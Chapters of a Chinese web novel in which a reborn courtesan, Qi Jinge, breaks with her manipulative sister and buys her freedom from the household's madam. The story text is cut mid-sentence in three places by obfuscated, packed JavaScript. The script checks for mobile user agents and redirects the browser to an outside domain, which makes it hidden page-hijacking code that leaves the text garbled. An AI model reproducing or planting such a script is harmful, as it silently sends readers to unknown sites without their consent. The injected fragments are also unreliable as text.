祈明珠由此心情更加畅快起来，笑得神采飞扬，脸色都因为喜悦而红润了不少。 “姐姐，你可真了不起！你胡乱编造一下，都把他们吓个半死！” 祈明珠向她卖乖。 祈今歌握着筷子的手一顿，看来祈明珠是误会了。 她出手，并不是为了她。 只不过是她自己觉得这群人已经做了过分了，借着刚刚的事给他们一个教训罢了。 人善被人欺，她不应该再向上一世一样，不论别人对她怎样，她都听之、任之、忍之。 这不是一种善良。 这是一种懦弱。 但是祈今歌并没有和祈明珠解释原因的欲望。 祈明珠怎么想，与她无关。 于是她只是点了点头，道：“先吃饭。” “嗯！” 祈明珠点点头，已经到午时了，她也确实饿了。 她拿起筷子，夹起了其中唯一的荤菜。 鱼干入口，稍微咀嚼了下，祈明珠不由得皱了皱眉头。 比想象中的还要难吃。 色香味俱全，一个都没有。 想想他们姐妹二人以前吃的什么，烤鹅掌、狮子头、荷包里脊、水晶饺子…… 和这些美味比起来，眼前的东西简直是味如嚼蜡。 无论看几次，这都不是人吃的东西。 艰难扒拉了几口饭菜，祈明珠最终还是放下了筷子。 “姐姐，这帮人真是狗仗人势，如今看夫人不待见我们了，天天就拿这些东西给我们吃！今日要不是你给了他们一个下马威，我看啊，她们以后肯定会更过分。不过好在过了今天，明天我们总不用吃这种玩意儿了。” 祈今歌也没吃多少，喝完了粥，勉强填了填肚子后，她也放下了筷子，道：“纵然是能比今天的好吃点，但是，想要恢复以前的生活，也是不可能的。” 祈明珠心下一沉。 是啊。 只要夫人还在生他们的气，他们就不可能过得多好。 以前下人不敢怠慢，是因为殷夫人。 现在下人肆无忌惮，更是因为殷夫人。 说到底，她们姐妹二人落到如此境地，根本原因不过是夫人不想让祈明珠好过罢了。 解铃还须系铃人，想要过回从前的日子，必须要殷夫人发话才行。 别人的所作所为，不过是雪上加霜，他们是霜，夫人是雪。 祈今歌拂去了些许冰霜，可若不将这雪化去，她们如何迎来春天。 这样艰苦的日子是一天都难熬。 祈明珠有些着急，道：“姐姐，你快想想办法，有没有什么法子让夫人原谅我们，再给我们一次机会？难道我们一直要过这样的日子吗？” 祈今歌头也不抬，回答道：“办法？什么办法？夫人心思向来难猜，如今这么大个事没有让她称心如意，难道你真以为，夫人会轻易就此翻篇吗？” “这……” 祈明珠竟然无言以对。 她明白，夫人邀请庆王来一趟都已经实属不易，属于殷府贵客中的贵客，夫人对上次的宴会是寄予厚望的。 夫人的野心很大，尽管她在云州的生意遍及各行各业，已经做到风生水起，可距离成为云州首富还远远不够。 而想到做到这一点，有什么能比和朝廷的人，尤其是皇家的贵族做生意更赚钱呢？ 如今攀龙附凤的希望已经破灭了。 责任在她。 以往犯了小错她都得吃不了兜着走，如今这般大的失误，祈明珠不知道自己要付出什么代价，才能被夫人放出“冷宫”。 起码上个月的那顿毒打以及现在的克扣是远远不够的。 但是她必须重新获得殷夫人的青睐！ 如此，她说不定还有机会见到庆王！ 想到庆王，低落的心情又变得欢喜了起来。 只要还能有见面的机会，她就有机会让庆王改变对她的印象！她绝对不可能再像上一次表现那么差劲！ 退一万步来说，就算和庆王有缘无分，退而求其次，她也可以被殷夫人送给其他的达官贵人，过上穿金戴银的生活，而非在红芳院中默默无闻地老去！ 可是她该怎么做呢？ 想到这，祈明珠眼神迷茫，央求着祈今歌，道：“这可怎么办……，姐姐，是妹妹连累你一同过苦日子了，妹妹对不住你。可是我脑子笨，没有好的解决办法，姐姐你向来头脑灵光，肯定是想得出法子的，你肯定也不甘愿一直过这样的日子把？” 话说的倒是好听，但是说来说去，无非也就是指望祈今歌帮她重新回到以前光鲜的日子罢了。 祈明珠的样子颇为有些楚楚可怜，可是祈今歌不为所动，道：“有何不可？反正小时候也这么苦过来的。” 祈明珠看着她不当回事的模样，好不容易转换过来的好心情突然一扫而空。 祈今歌这段日子怎么这么不识好歹？ 以前不是对妹妹有求必应的吗？现在哪来这么多废话？ 直接答应不就好了吗？ 过苦日子？ 谁要过苦日子？ 红芳院的人斗来斗去，不都是为了过好日子吗？ 祈今歌是怎么做到云淡风轻说这些傻话的？ 可是祈明珠的脑子根本想不出有什么好办法，能将这件事就此翻篇。 她现在唯一的依靠，就是姐姐能给她出出主意，想出个好法子，让她们二人再过上锦衣玉食的日子！ 她很了解祈今歌，姐姐最是心软，只要自己求求她，她一定会去将问题解决的。 现在一次不答应…… 那也没关系。 她多求几次就好了。 江山易改，本性难移。 一个人要想彻底改变，谈何容易。 就算今歌这段时候性子和作风变了再多，祈明珠也不相信她能真能变了个人，再也不管她这个亲妹妹。 于是她强忍下心中的不耐，将声音压低了几分，作一幅可怜样，央求道：“好姐姐……你可别这么说，妹妹不想过这种粗茶淡饭的日子，求求你了，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曾经祈今歌不是没想过带着妹妹一起离开，她提过一次，可祈明珠情绪激动，死也不同意，当场拒绝了。 即使恢复了自由，她们也会变成身无分文的穷光蛋，从此以后就要过节衣缩食的清贫日子，她是万万不能接受的。 想起以前饭都吃不饱的日子，祈明珠就后怕。 于是上一世的祈今歌为了妹妹，终究还是妥协了，没有离开殷府。 这一世的祈明珠回答依旧如初。 祈明珠满脸不可置信，激动地直接从凳子上弹了起来，一拍桌子，瞪大眼睛道：“姐姐，你疯了吗？把我们所有的银子都给了夫人，我们出去吃什么喝什么？去路边街头卖艺吗？像那帮叫花子小摊小贩讨饭吃？！” 祈今歌抬眸看向祈明珠，眸色平静如同没有半分涟漪的湖面。 她问道：“你当真不愿意？” “我当然不愿意！” 一模一样的话语，纵然今生已经有些事不同于上辈子，可有些事不会变。 变了的，是祈今歌不会再为祈明珠改变自己的决定。 和她预料的一样，祈明珠不可能放弃殷府的生活。 祈今歌也如释重负。 离开殷府这一想法并非心血来潮。 这一个月之中，她翻来覆去，辗转反复，想了很多。 最终还是下定了决心，远离殷府，远离祈明珠，过安安稳稳的日子。 她不能够原谅祈明珠，可如果朝夕相处，一直待在祈明珠的身边，无疑会让她有所动摇。 而对仇人心软，是对自身的背叛，所以她和祈明珠最好不相见，如果可以，最好是永不相见。 因此这一个月内她也根本没闲着，一个人做好了出府生活的准备。 看房、买房、过割之类的事情，她都已经做了个七七八八。 她只是一直在等待一个向祈明珠说出口的时机罢了。 如今，这个机会也已经来了。 也好，让她名正言顺地与祈明珠断了牵扯。 从此以后，她不用再背负姐姐这个身上所背负的责任，从此以后，她可以只为自己负责。 往后她走她的阳关道，祈明珠走自己的独木桥。 “你说的很对，离开殷府，我们肯定是要过苦日子的。如果一直留在殷府，如今我已经十八，你也已经十六，夫人早晚也会把我们送给别的人，不管这个人老胖美丑，总是不愁吃喝的。” “所以你不用担心夫人一直会冷落你，即使你什么都不做，现在的苦日子也不会维持太久的。她在你身上费了不少心血，白白让你在红芳院枯萎，对夫人是赔本的买卖，她会把你卖个好价格的。” “想来，这也是你想要的。” 祈今歌随即也施施然地站了起来，平视着面前的笑意已经彻底消失的祈明珠。 她露出了一个绝美而又冰冷的笑容，纵然是日夜相处的祈明珠也忍不住看得出了神。 只是接下来的话语，却让祈明珠瞬间清醒。 “可是如今我却是不愿意过这种‘好’日子了。明珠，你有你的选择，我有我的路，我决定要离开殷府，从今以后，我们还是各自安好吧。” 8. 分道 按照惯例，祈今歌应在用过午膳以后，应该要小憩一会。 可她今天没有睡。 至于理由也很简单，祈明珠和她不欢而散，正在那闹脾气。 东摔西砸的，不知道弄坏了多少东西，搞出了不小的动静。 噼里啪啦的声音接连不断的传来，听了让人心烦又心慌。 祈今歌估摸着，房间里能让她糟蹋的东西，应该已经被糟蹋了个遍了。 别说住在她隔壁的祈今歌睡不着，就连住在愿意里的其它家妓也别想清净。 但是她们都不敢上门理论，只能憋着一肚子气，在房间里恶狠狠地咒骂几句，出出气便也罢了。 毕竟一个时辰前才见识了祈今歌的手段，只觉得她笑里藏刀，吓人的很，哪里还有以前那般好拿捏。 她们只当祈今歌是为了亲妹妹才出头的，并不知她心里真正的想法，要是现在上门找祈明珠争吵，触了祈今歌的逆鳞，她们还真有可能吃不了兜着走。 那便选择只能忍一时风平浪静了。 祈今歌既然不睡，倒也闲不住，便着手开始收拾自己的行囊。 说是收拾，其实也没什么好收拾的。 桌椅板凳，床褥被子，都是殷夫人的东西，自然是带不走。 就算夫人不计较，能允许她带走，祈今歌也不想碰了，毕竟...... 殷府添置的东西，一件一物，都刻着她出卖自己灵魂的印记。 终归不是什么美好的回忆。 那能带走的无非是衣裳、胭脂水粉之类的，都是些方便携带的小物件，倒也不算麻烦。 祈今歌打开了屋内角落的顶箱柜。 她素来是有收拾的，衣服在里面都堆叠的整整齐齐。 说起来，她做的都是些卖笑的生意。 做这行的人，平日里穿的衣服，与寻常女子不同，自然是鲜艳些、妖艳些，甚至说的直白点，暴露的地方也多得多，一看便也知道不怎么正经。 只不过祈今歌不走那个路子，一身冷冷清清，穿这种扬州瘦马爱穿的衣服，反倒显得和她不相称。 于是她给自己添置的衣裳，多以素色、严实为主。 倒是与普通姑娘家穿的大差不差。 府邸之中，家妓的吃穿用度，祈夫人虽不会事事亲力亲为，但是也是要过她的眼的。 一般情况下，殷夫人不准她养着的人擅作主张，更不容许某些人格格不入，自命清高。 只是她仔细瞧瞧，祈今歌的确和旁的家妓气质不大一样，更何况，她那高冷之花的样子反而更让男人喜爱，更能讨好前来府邸的宾客，于是她也就默许了。 而今，这些衣服哪怕离了殷府，日后也是能用上的。 祈今歌花钱节俭，在红芳院这样的大染坊中，也没有养成大手大脚的性子。 甚至上一世到了庆王府，能在府邸中对内务当家做主，祈今歌也与骄奢二字从不沾边。 她明白，赎完身以后，她估计就要身上穷的叮当响了，还要过多苦的日子暂且不好说，未雨绸缪，现在能省一分是一分总是好的。 将衣服整理好了以后，她拿了块包裹布将它们包了起来。 祈今歌又走向了梳妆台。 上面摆放着一堆胭脂水粉，此外还有一瓶香露，流出一股淡淡的冷香。 台面上的妆奁内装着的，也是耳环、戒指、手饰，制作很是精巧，一看就价格不菲。 当然，比起富豪随意赏赐的珠宝首饰，倒也算不得什么了。 在妆奁旁放着的，还有一面铜镜，镜面此刻映照着的，正是祈今歌有些伤神的容颜。 头一次，祈今歌看自己的容貌，有些看痴了。 镜中的女子的面容担得上倾国倾城之姿，顾盼生辉，眸光潋滟，便是最为挑剔的人要鸡蛋里挑骨头，也很难在这张脸上找到丝毫瑕疵。 这样的一张脸，不加装点就已经足以令人神魂颠倒，若是略施粉黛，怕是要将人的魂魄勾了去。 当然，她并非为自己的美貌所惊艳而如此。 就算再怎么好看，这张脸她也看了十几年了，早就已经习以为常了。 她是颇为有些伤感。 她不记得母亲的容貌，在她两岁的时候，母亲便去世了。 她和父亲长得并不像，祈成田曾说，她们两姐妹的容貌都随母亲，甚至是青出于蓝而胜于蓝，有过之而不及。 因为这张脸，她才得以在云州的大旱被殷夫人买走，才避免了被饿死的命运。 但也是因为这张脸，她也过上了风月场上逢场作戏的日子，陪着形形色色的人强颜欢笑。 可是说，过去的十八年中，所有的幸运与痛苦，都来源于这张脸。 如今，她却要彻底摆脱靠这张脸吃饭的日子，一时之间，颇为有些百感交集。 等回了神，她便将目光从铜镜上移开了，如法炮制，她伶俐地将桌上的东西也包了起来，同时牢牢地打了个结。 她正收拾着，突然传来了一阵敲门声。 祈今歌看向门外，想不明白谁会在这个时辰找她。 于是她道：“谁啊？” “姑娘，是我，翠儿。” 翠儿是红芳院的丫鬟。 像她们这种豢养在殷府的家妓，身份多少事有点特殊的，既不能像小姐一样娇生惯养，又不能像一帮下人一样养的过分粗糙。 毕竟都是靠皮肉吃饭的，这皮囊坏了，还值什么钱？ 因此殷夫人给红芳院的十来名家妓配了三个丫鬟，分别名唤翠儿、红儿、容儿，收拾房间之类的糙活儿一般就交给这三个丫鬟负责。 当然，除此以外，若有特殊情况，丫鬟们也是要照应的。 像是祈明珠受了重伤，做很多事都不方便，这一个月的时间中，丫鬟也出了不少力。 其中的翠儿是只用负责祈今歌和祈明珠二人的，剩下的人再使唤剩下的两名丫鬟，尽管这也不是祈今歌做得了主的，一切全听夫人安排，但是这事儿也不耽误让姐妹二人遭了不少嫉恨。 这三个丫鬟平日里就在院门口候着，有事就喊，倒也方便，一般没有传唤，她们也不会擅自进入庭院。 一来，她们毕竟也不是私人丫鬟，时时刻刻地伺候着一人，守在门口，谁叫她们也方便应答，二来，这胭脂场上的女子是最难伺候的，麻烦事多，三人也不会主动给自己找事。 因祈今歌不为难人，所以相比其他人，翠儿是要与她亲近一些。 但是也只是一些而已。 翠儿主动来找她这种事，也是十分少见。 于是祈今歌道：“进来吧。” 翠儿推开门，轻手轻脚的走了进来。 她比祈今歌还要小上一岁，一张圆脸看起来分外喜庆，梳着垂髻，上身穿着青绿色交领的断襦，下身着鹅黄色长裙，娇嫩的颜色更加显得很是青春明媚。 翠儿年纪虽小，做事却很是伶俐，若说唯一的缺点便也是年纪太小，有些不太稳重。 倒也是瑕不掩瑜了。 翠儿此刻的神情有些惴惴不安，脸色不太好，看起来有些紧张兮兮的。 她一看祈今歌摆放在屋内的包裹，有些惊讶，一瞬间竟然把要说的事忘了，反而问，道：“姑娘，你这是......？” 收拾包裹还能是因为什么别的原因？ 反正自己要离开殷府的事也迟早是要传开的，祈今歌也没什么好隐瞒的。 于是她道：“坐下来慢慢说。” 翠儿有些犹豫，道：“这……” 就如易婆子所说，为奴为婢也有三六九等，在殷府中，家妓就此他们这些婢女高贵些，值钱些。 做下人的，最为讲究的就是一个规矩，坏了规矩，就得挨罚。 哪怕是祈今歌这样温和的人，翠儿有会畏手畏脚。 “坐吧。” 祈今歌又说了一遍，翠儿才在屋内的找了把椅子坐上。 祈及歌也从梳妆台起了身，陪着她一起坐下。 “姑娘......您这是？您这是要离开吗？” 翠儿还是没忍住自己心中的好奇，主动先问了出来。 殷府的下人是不能随意外出的，尤其是像红芳院中的人，身份敏感，不能随意抛头露面。 故而很多人并不知道殷夫人还豢养了这么一群人，更不知哪些人住在这红芳院中，他们长什么样，干什么活。 毕竟殷夫人的结识人脉的手段虽然有用，但是实属也拿不上什么台面，随着她的家业越做越大，必然是越管越严，越来越在乎名声。 也就是见不得光的事要继续做，但是说出去还得好听，博个好名声。 祈家两位姐妹讨夫人欢心，别的家妓一个月只能出府一次，而祈家两姐妹一个月却能出府三次，这已经是殷大人对她们极大的恩赐了。 出府闲逛尚且限制的如此严格，如今却要直接卷铺盖走人，夫人能同意吗？ 未免有些太突然了。 祈今歌点了点头，道：“是的，我不打算继续待在殷府了。” 翠儿清澈的眼眸中写满了难以置信，惊讶的合不拢下巴：“姑娘怎么突然想走了？” 祈今歌微微一笑，道：“早就这么想了，无非是现下才下定决心而已。” 翠儿又道：“这......这，夫人会放您离开吗？” 她这是在担心祈今歌，谁不知道，红芳院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457661|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的人想要出去，不死也要扒成皮。 这扒皮不是说要挨打，受什么皮肉之苦，而是在金钱方面付出的代价实在是很大。 像她们这种最为卑微的奴仆，不值什么钱，什么价格买进来，什么价格赎回去，倒也合情合理。 可是红芳院中的人不一样，当初什么价格买进来的，赎回去却要数倍的价格，黑得不行。 夫人也是有一套说法的，家妓们吃穿用度，都与仆人不一样，还要培养她们琴棋书画，不知花了多少心血，多收点简直是天经地义。 都知是强词夺理。 可是在殷府，夫人就是王府，她的话没人敢忤逆。 祈今歌想要赎身，那可不是一点点钱。 殷府的人都知道，祈今歌是在云州大旱的时候，以一百两白银的价格买入了殷府。 实际上，以她的容貌，若不是恰逢天灾，她怎么会只值如此低廉的价格。 但是如今要赎回卖身契，却需要足足两千两银子。 这简直是翠儿想都不敢想的数目。 足足翻了二十倍的价格！ 最为可悲的是她们纵然被吃干抹净，还得感谢殷夫人，至少还给了她们买回自由的机会！ 祈今歌淡然一笑，道：“当然，只要出得起夫人的价格，还有什么不走的理由呢？” 翠儿不敢置信，掩嘴惊呼：“天啊！姑娘，您竟然得了这么多钱！您可真了不起！” 祈今歌平日吃穿用度都很朴素，翠儿哪里想得到她竟然有如此傲人的财富。 于是看向祈今歌的目光里多了一丝崇拜。 她知道红芳院中的人有时候要伺候殷夫人的贵客，若是伺候的客人高兴了，能得不少赏钱。 可是她无论如何也想不到，竟然能得这么多！ 这可是两千两白银！ 特别是在祈今歌卖身不卖艺的情况下更为难得！ 红芳院多少姑娘舍了身子，也是远远不及祈明珠的。 翠儿不由得感叹，长得漂亮就是不一样。 羡慕归鲜明，翠儿也不嫉妒，她心思单纯，也为祈今歌高兴。 要是能自由身，她也不愿意给人卖命。 翠儿又道：“既然您决定要走，怎么不招呼我一声，我也帮着您收拾收拾才是。” 祈今歌道：“反正闲着无事，要带走的东西也不多，便自己忙和了。” 人一旦真要走了，翠儿也不由得有些舍不得。 院子里哪里还有比祈今歌还要好相处的姑娘呢？ 到时候她走了，殷夫人十有八九也不会让她单独伺候祈明珠一个人，反而要和另外两个丫鬟一同伺候剩下的姑娘。 对了…… 说起祈明珠，难道她不和姐姐一起走吗？ 想到刚刚看到祈明珠在屋内的异常举动，估摸着十有八九和祈今歌的离开有关。 翠儿眨了眨眼，问道：“那明珠姑娘是要和您一起走吗？” 祈今歌摇了摇头，道：“不，她选择留在这。” “留在这？” “留在这。” “她一个人？” “嗯。” 翠儿反复确信自己没有听错后，才接受了这个事实。 有人沉醉在花花世界，喜欢纸醉金迷的生活，祈明珠选择留在殷府，这并不奇怪。 翠儿奇怪的是为何祈今歌和祈明珠会选择各走各的路？ 毕竟祈今歌总是迁就着她的妹妹，有时候几乎到了毫无底线的地步。 在翠儿的眼里，两人要不一起走，要不一起留，很难想象还会有第三种选择。 谁不知道祈今歌和祈明珠多年形影不离，如连体婴儿一般分不开，怎么会突然分道扬镳？ 在他人眼里，这几乎是毫无预兆。 简直是太不可思议了。 翠儿沉默了，结合祈今歌的话语，她大概明白是怎么一回事了。 祈今歌想到二人说了半天，还没聊到正题，于是道：“对了，翠儿，说起来，你找我何事？” 翠儿抿了抿唇，才道：“刚刚明珠姑娘摔东西的时候，不小心被瓷器划了手，鲜血淋漓的，怪吓人的。奴婢给她包扎好了以后，又不知道发生了何事，问了几句，她直接大发雷霆，径直冲出了红芳院。奴婢放心不下，这才来您这儿问问，知不知道这事。” 祈今歌静心一听，果然隔壁的动静已经不知道在何时已经平息下来了。 翠儿特意来问她，祈今歌却并不会觉得她多管闲事。 毕竟前世也是她特意嘱咐了翠儿，要是祈明珠有什么不对劲，一定要及时告诉她才好。 看来她这爱操心的毛病，也终究是要改了。 9. 赎身 祈今歌道：“既然她没什么大事，便也不用我操心，更何况有你在她身边照料。以后我出了府，翠儿你也少了一桩差事，不用再帮我看着她了。” 她的话说的颇为平静，神情也是很淡，看不出对祈明珠往日的关心和在乎。 想也明白，两姐妹之间必然发生了不愉快。 翠儿虽然觉得震惊，但也不至于无法接受。 从祈明珠在殷夫人那挨了板子以后，翠儿就已经发现，祈今歌对这个妹妹，远远不如以前上心了。 甚至是有意的疏远和冷淡。 别的人不知道，翠儿要照料二人的生活起居，不免有所察觉。 只是她当时以为，这是她的错觉。 直到翠儿今天才确定，祈今歌和亲明珠二人之间，的确因为某些原因生了隔阂。 只是她不免有些好奇，从前的祈今歌的确是对祈明珠百依百顺，是发生了什么事，让她对妹妹与之前突然变了个态度？ 但这毕竟是两姐妹之间的事。 她作为一介外人，祈今歌不主动说，她也不会多问。 只是…… 翠儿想起了祈明珠那只鲜血淋漓的手。 祈明珠的手很好看，白白嫩嫩的，很是修长，十指不沾阳春水，她又极度爱美，将肌肤呵护的很好，因此，她的手指每一寸都如羊脂玉般温润。 这样一个爱惜自己的人，到底是多愤怒，才会伤到自己呢？ 翠儿觉得祈明珠还是很在乎这个姐姐的。 人活在这世上都是很难的，尔虞我诈，勾心斗角。 正因为如此，人才想找个依靠，才想在世上寻一份真情。 翠儿曾经很羡慕祈今歌和祈明珠两姐妹，她们在殷府相依为命，是彼此唯一的温暖。 这份温暖是多少人没有的。 可如今，她们也是闹到了分道扬镳的地步。 世事无常啊。 翠儿觉得唏嘘。 祈今歌见翠儿不说话，问道：“怎么了，是还有什么问题？” 翠儿抿了抿嘴，又挠了挠头，最终小心翼翼地问出了口：“今歌姑娘,有句话我不知道当讲不当讲......” 祈今歌打量她一眼。 翠儿的话说的犹犹豫豫的，小脸上却是一脸憋不住的表情，好像不讲出口，就要憋死了一样。 一幅努力想忍住好奇心，但是最终完全没忍住的样子。 祈今歌被她的表情逗笑了，道：“你说吧。” 翠儿吞了口唾沫，道：“其实我觉得，祈明珠姑娘还是挺在乎您的。她虽然平常脾气大了些，可再生气她也是不舍得伤着自己的，刚刚反应如此激烈.......想必是很难接受您离开的事实吧，您真的要和她分开吗？” 她这话说得万分诚恳。 她是真的觉得祈明珠很在乎她这个姐姐。 祈今歌不怪她。 外人不明白她和祈明珠之间的弯弯绕绕，并不奇怪。 要是一眼洞穿，一针见血，那才是稀罕事。 毕竟上一世她付出了性命的代价，才看清祈明珠是什么人。 曾几何时，在她眼里，不管祈明珠多大，多无理取闹，都是小时候跟在自己身后咿咿呀呀叫唤着的那个小不点。 可是人总是会变的。 也许祈明珠曾经并非如此恶毒，也有过天真烂漫的岁月，是嫉妒和憎恨改变了她。 又或许她就是天生坏种，以前她未曾察觉，也只不过是还没到这颗种子生根发芽的时候。 祈今歌想不明白到底是哪一种情况。 算了，这也不重要。 祈明珠到底是因为舍不得她而发火，还是因为以后没人给她兜底发火，她不想探究了。 牵扯到祈明珠的事，总让她脑子疼，索性不去想是最好。 毕竟以后也不会再有什么牵扯了。 心中所思所想，祈今歌不能实话实说，也只能避开话题，道：“翠儿，你既然来了，那也就麻烦你帮着我一起收拾收拾屋子吧，我这还有杂七杂八的东西，尚且还没整理完呢。” 人都要走了，以后见不见得到都两说，翠儿哪里有不答应的道理，于是瞬间将脑海中的疑惑抛在了脑后，丝毫没注意祈今歌压根没有回答她的疑问。 翠儿连连点头，拍着胸脯道：“当然没问题，我最擅长收拾了！不过姑娘，您打算什么时候和夫人提要离开这件事啊？” 祈今歌思忖片刻，认真道：“赶早不赶迟，事不宜迟，就今天吧。” * 说是让翠儿帮着收拾，其实也没什么好收拾的。 毕竟祈今歌也只是为了转移话题罢了。 翠儿离开时，已是申时。 祈今歌合上了屋门，又打开了那架矮脚木柜，将有些陈旧的朱红色首饰盒拿了出来。 祈今歌抱着首饰盒出了门，朝着殷夫人的院落走去。 殷夫人的院落紧着府中的正厅，从红芳院出发，需要穿过重重仪门、游廊，得走上好一会而才能到。 夫人门口守着的两位丫鬟见了前来的祈今歌，觉得分外稀奇。 两人一同朝她行了个礼：“今歌姑娘，您来找夫人？” 话语虽然是询问，可是还略带着不可思议的意味。 谁不知两姐妹惹了夫人生气，这段时间，地位已经比起以前天差地别。 只要知道夫人的性子，便应该明白此刻该做的便是老老实实等夫人气消，暂且忍耐，夹紧尾巴做人才是，怎么还会主动跑来现身？ 万一夫人见了，想起糟心事，更加生气，那情况不是更糟吗？ 当然...... 两名丫鬟对视一眼，交换了个眼神。 也可能是她们两姐妹实在受不了被冷落的日子，故而祈今歌前来，是为向夫人求情也不好说。 祈今歌点了点头，道：“两位姐姐有礼了，不知夫人在吗？如若方便的话，能否麻烦通报一声，就说今歌有要事相商。” 站在左边的丫鬟道：“可巧了，夫人刚醒，只是尚未从床上起来，我去给您通报一声。” 祈今歌也是没想到，一向雷厉风行，说一不二的殷夫人，竟然有着赖床的习惯。 祈今歌道了谢，看见丫鬟推门而入，过了一会，又回到了老地方，道：“祈姑娘，您随我进去吧。” 祈今歌跟在她后面进了门，在外间等候着。 两位丫鬟们去里间伺候夫人更衣。 祈今歌闲着无聊，便忍不住打量起了屋内。 祈今歌很少主动来找夫人，过去的十来年，几乎都是夫人传唤她，因着这个原因，她才得以见过夫人房间的样貌。 夫人的房间还是和之前一样，几乎没有太大的变化。 屋内摆放着名贵的瓷器，还有一些金银器皿，墙上悬挂着名家的字画。 这些东西虽然昂贵，可是却无什么搭配讲究，贪多贪足，完全是毫无章法地堆叠在一起。 猛地一看，会为屋子主人的财力所惊叹，可再细细品味，奢华倒是奢华，却有些俗气了。 整个布局，倒也符合夫人贪财爱钱的作风。 祈今歌正看得入了神，却听得脚步声靠近，再一看，殷夫人已经在丫鬟们搀扶下出来了。 因着刚刚起床，夫人的打扮并不如以往那般浓墨重彩。 她穿着月白色的缎袄，外披一件霞帔，上面用金丝线绣满了莲纹，看上分外贵气。 殷夫人平日杀伐果断，性格强势，看起来无比威严，此刻删繁就简的装扮，反倒中和了她这份凌厉。 殷夫人已经年过四十，但是如此一打扮，看起来便只像三十出头，看起来年轻了不少。 祈今歌朝着殷夫人行了个礼，道：“见过夫人。” 殷夫人细细打量了她一眼，发了个哈欠，道：“你找我，所为何事？” 语气冷淡，开门见山，明眼人都看得出，夫人并没有多说话的心思，更没有太多的耐心的给祈今歌。 虽然在殷夫人的眼里，犯错的是祈明珠，可是祈今歌也知道，在别人的眼中，自己和祈明珠就是一体的，一荣俱荣，一损俱损，夫人可不会将她们二人区分的那么明显。 祈今歌有些为难地看向了殷夫人身边的两位丫鬟，殷夫人立马就明白了她是何意。 于是她摆了摆手，吩咐道：“你们两个先出去。” 丫鬟应是，齐齐退出，顺带合上了门。 殷夫人随意一指摆放在外间的椅子，道：“坐吧。” 祈今歌莫敢不从，殷夫人也随着坐下。 “现在可以说是什么事了吧。”殷夫人并不看她，闭眼揉了揉眉心，神情中透露着不耐烦，道：“有事直说，我不喜欢故弄玄虚。” 祈今歌知晓夫人的脾气，道：“不敢叨扰夫人，今日前来，奴婢为的是赎身一事。” 赎身？ 听到这两个字，殷夫人睁开了眼，看了看祈今歌。 她眼神坚定，神色严肃，一看就知并非是开玩笑。 当然，也没人敢不要命，来殷夫人面前开玩笑。 殷夫人觉得有点意思，笑道：“哦？赎身？这个词我听着倒是有些新鲜，别的先不说，这些年红芳院林林总总加起来，我也养了差不多四五十个家妓，能够靠自己离开殷府的屈指可数，这些年靠着你我也成了不少生意，你凭什么觉得我会放你离开？” 祈今歌对于殷夫人的话并不意外，她从容应答，娓娓道来。 “云州的人皆说夫人唯利是图，无所不用其极，然而说起来，云周大大小小的商户只要有能和夫人的机会，却几乎没有能够拒绝的。原因无外乎您的手段虽然在很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尽管祈今歌留在府邸明显能给她带来更大好处，但是殷夫人不会贪婪地想要赚尽每一笔钱，她也明白没办法每一笔交易赚到极致，所以只要有的赚，她没有不让祈今歌离开的理由。 只是想从她手里脱身，要付出的代价并不便宜。 就算是十年前她说出的两千两的价格，也是她按照当时的行情，开出的一个让她相当满意的价钱。 换而言之，这笔钱是绝对不可能随随便便能拿出来的。 这可是足足翻了二十倍的利润，足够让她舍得收手，舍得放人。 祈今歌抬眼看向殷夫人，道：“夫人您明码标价，今歌心里有数。若是今歌做不到，又怎敢前来？” 祈今歌提起在放在腿上的首饰盒，将它摆放在了夫人座椅旁边的案几上。 殷夫人皱眉，不知她这是何意。 放在面前的匣子，外形普通和陈旧，一看就不值什么钱，看不出有什么特别的。 祈今歌看到夫人眼里的嫌弃，明白她心中的疑惑，于是将首饰盒一层层抽开。 殷夫人一看，脸色瞬间变了。 败絮其外，金玉其中。 这盒子虽然破破烂烂，里面装着的东西却大有乾坤。 只见内部被珍珠、玛瑙等珠宝首饰塞得满满当当，明珠美玉，流光溢彩，令人难以移目。 盒子的主人却常年一幅朴素无华的打扮，教人难以想象，这样一个年轻的女子，竟然拥有如此傲人的财富。 殷夫人知道祈今歌这种美人会有人一掷千金，可是她邀请来的客人，具体给她打赏了多少，她就不得而知了。 如今看来，怕是远远超过自己的想象。 “夫人，奴婢这些年来所收受的赏赐，基本全在这了，现在拿这些金银首饰作为抵扣。请您点点，看看够吗？” 祈今歌客气地问道。 她当然知道绝对是够了，十年的时间，足以让她对这些珠宝的价值了若指掌。 否则她又怎会有这个胆量来和夫人谈条件呢？ 她甚至没有去当铺典当掉这些首饰，换成银票后再找夫人，而是提着首饰盒便直接过来了。 对于她来说，没必要再多此一举。 殷夫人此刻眼睛放光，她将盒中的首饰一个个轻轻拈起，又轻轻放下，细细轻点了数目，按照市价，在心中估量了一下价格。 两千两白银，的确是刚好够了。 多也多不到哪里去，少也差不了多少。 她随后轻轻地将盖子合上，食指在盒盖上轻轻敲了敲，弯了弯嘴角，满意道：“不错，勉强倒也够了，你有些本事，竟然能讨得这么多打赏。不过，两千两银子倒是只够你一个人的，你妹妹想要出府，可得再加两千两白银。” 10. 离去 祈今歌摇头，答复道：“夫人，我此次来，只为我自己。” 出人意料的回答。 殷夫人原本对祈今歌的离去并不敢兴趣，但是在听到祈今歌的话以后，她反而有了探究的兴致。 